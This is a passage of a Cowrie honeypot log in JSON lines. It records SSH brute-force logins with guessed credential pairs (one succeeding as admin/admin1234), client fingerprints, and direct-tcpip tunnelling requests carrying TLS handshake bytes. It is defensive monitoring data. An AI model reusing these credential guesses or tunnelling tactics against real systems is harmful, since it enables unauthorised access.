\\xb2YV.\\xe3/\\xa2#\\xfbSU\\xdd\\x7f\\xecI\\x10&\\xff\\x05-\\x0f#1\\xecZ\\xfa\\xb0o\\xe0\\xe3\\xc3)\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:50.181278Z","src_ip":"23.148.145.132","session":"b749fa4d318d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:50.221802Z","session":"b749fa4d318d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:50.656057Z","src_ip":"23.148.145.132","session":"b749fa4d318d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1a\\x11\\xc5\\xc6\\xb8\\x9dj^\\xf7\\x1a\\xe9\\x883\\xb0\\xa0\\xb1\\xf6{\\xe8n\\x7f\\x82a\\x13\\xd4Y\\xb9q\\xe1\\x95%\\xc1 \\xd9\\xe2\\xc9\\x8fn5{\"\\x0fVI\\xc9u\\xfd\\x88\\xad=\\x9a\\x93\\xc8\\x06\\xd5\\xd4\\xfb\\x81\\x17Y\\xd0\\xfd\\xce%&\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc5T\\x9b\\x06\\x7f\\x96>u\\x0e\\xf7\\xeeY\\x0e\\x15e\\xbfB\\r qd\\n\\xd0\\r\\xeeG\\x19\\xbd\"\\xfdLo\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1a\\x11\\xc5\\xc6\\xb8\\x9dj^\\xf7\\x1a\\xe9\\x883\\xb0\\xa0\\xb1\\xf6{\\xe8n\\x7f\\x82a\\x13\\xd4Y\\xb9q\\xe1\\x95%\\xc1 \\xd9\\xe2\\xc9\\x8fn5{\"\\x0fVI\\xc9u\\xfd\\x88\\xad=\\x9a\\x93\\xc8\\x06\\xd5\\xd4\\xfb\\x81\\x17Y\\xd0\\xfd\\xce%&\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc5T\\x9b\\x06\\x7f\\x96>u\\x0e\\xf7\\xeeY\\x0e\\x15e\\xbfB\\r qd\\n\\xd0\\r\\xeeG\\x19\\xbd\"\\xfdLo\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:50.659243Z","src_ip":"23.148.145.132","session":"b749fa4d318d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:53.446660Z","src_ip":"91.92.40.36","session":"a271d7a38b14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:53.450722Z","src_ip":"91.92.40.36","session":"a271d7a38b14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhangwei","password":"zhangwei","message":"login attempt [zhangwei/zhangwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:53.641853Z","src_ip":"91.92.40.36","session":"2bb8ecacfe1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.1","message":"Connection lost after 12.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:56.210073Z","src_ip":"91.92.40.36","session":"2bb8ecacfe1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":54062,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6907a8119c7","protocol":"ssh","message":"New connection: 91.92.40.36:54062 (159.203.135.109:22) [session: b6907a8119c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:58.269051Z"}
{"eventid":"cowrie.session.closed","duration":"28.8","message":"Connection lost after 28.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:59.591619Z","src_ip":"23.148.145.132","session":"b749fa4d318d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:59.885752Z","src_ip":"91.92.40.36","session":"b6907a8119c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:53:59.889362Z","src_ip":"91.92.40.36","session":"b6907a8119c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"999999","message":"login attempt [dev/999999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:00.248859Z","src_ip":"91.92.40.36","session":"a271d7a38b14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":47332,"dst_ip":"159.203.135.109","dst_port":23,"session":"f055110f2c8a","protocol":"telnet","message":"New connection: 172.81.62.90:47332 (159.203.135.109:23) [session: f055110f2c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:01.323148Z"}
{"eventid":"cowrie.session.closed","duration":"14.2","message":"Connection lost after 14.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:03.658499Z","src_ip":"91.92.40.36","session":"a271d7a38b14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59636,"dst_ip":"159.203.135.109","dst_port":22,"session":"5494be1ef2ba","protocol":"ssh","message":"New connection: 91.92.40.36:59636 (159.203.135.109:22) [session: 5494be1ef2ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:07.009504Z"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"654321","message":"login attempt [hadoop/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:07.208618Z","src_ip":"91.92.40.36","session":"b6907a8119c7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:08.002053Z","src_ip":"91.92.40.36","session":"5494be1ef2ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:08.005356Z","src_ip":"91.92.40.36","session":"5494be1ef2ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.6","message":"Connection lost after 11.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:09.920298Z","src_ip":"91.92.40.36","session":"b6907a8119c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59674,"dst_ip":"159.203.135.109","dst_port":22,"session":"234e6eb1e203","protocol":"ssh","message":"New connection: 91.92.40.36:59674 (159.203.135.109:22) [session: 234e6eb1e203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:13.639204Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qw","message":"login attempt [ubuntu/123qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:14.218202Z","src_ip":"91.92.40.36","session":"5494be1ef2ba","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:15.192472Z","src_ip":"91.92.40.36","session":"234e6eb1e203","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:15.195571Z","src_ip":"91.92.40.36","session":"234e6eb1e203","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":63451,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1dbc0e916b6","protocol":"ssh","message":"New connection: 113.164.152.20:63451 (10.17.0.5:22) [session: f1dbc0e916b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:15.889222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:15.893259Z","src_ip":"113.164.152.20","session":"f1dbc0e916b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:16.206183Z","src_ip":"113.164.152.20","session":"f1dbc0e916b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:16.756858Z","src_ip":"91.92.40.36","session":"5494be1ef2ba","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:17.454199Z","src_ip":"113.164.152.20","session":"f1dbc0e916b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:17.854434Z","session":"f1dbc0e916b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:54:17.942921Z","session":"f1dbc0e916b6","protocol":"ssh"}
